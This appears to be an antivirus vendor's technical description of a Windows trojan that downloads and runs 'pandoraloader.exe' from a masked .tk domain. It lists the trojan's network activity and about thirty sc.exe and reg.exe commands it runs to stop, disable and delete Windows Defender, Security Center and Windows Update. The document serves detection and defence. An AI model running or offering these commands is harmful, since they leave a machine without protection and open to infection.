Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
- Windows Security Center
- Windows Defender
Downloads and executes
- http://ya####ebolard.tk/pandoraloader.exe as pandoraloader.exe
Modifies file system
Creates the following files
- C:\pandoraloader.exe
Network activity
TCP
HTTP GET requests
- http://ya####ebolard.tk/PandoraLoader.exe
UDP
- DNS ASK ya####ebolard.tk
- DNS ASK google.com
Miscellaneous
Creates and executes the following
- 'C:\pandoraloader.exe'
Executes the following
- '<SYSTEM32>\sc.exe' stop windefend
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f
- '<SYSTEM32>\sc.exe' config InstallService Start= disabled
- '<SYSTEM32>\sc.exe' stop InstallService
- '<SYSTEM32>\sc.exe' config WdiSystemHost start= disabled
- '<SYSTEM32>\sc.exe' stop WdiSystemHost
- '<SYSTEM32>\sc.exe' config WdiServiceHost start= disabled
- '<SYSTEM32>\sc.exe' stop WdiServiceHost
- '<SYSTEM32>\sc.exe' config wscsvc start= disabled
- '<SYSTEM32>\sc.exe' stop wscsvc
- '<SYSTEM32>\sc.exe' config SDRSVC start= disabled
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" /f
- '<SYSTEM32>\sc.exe' stop SDRSVC
- '<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
- '<SYSTEM32>\sc.exe' stop SecurityHealthService
- '<SYSTEM32>\sc.exe' config WaasMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' stop WaasMedicSvc
- '<SYSTEM32>\sc.exe' config usosvc start= disabled
- '<SYSTEM32>\sc.exe' stop usosvc
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' delete Sense
- '<SYSTEM32>\sc.exe' config Sense start= disabled
- '<SYSTEM32>\sc.exe' stop Sense
- '<SYSTEM32>\sc.exe' delete windefend
- '<SYSTEM32>\sc.exe' config windefend start= disabled
- '<SYSTEM32>\sc.exe' delete SecurityHealthService
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Security Health" /f
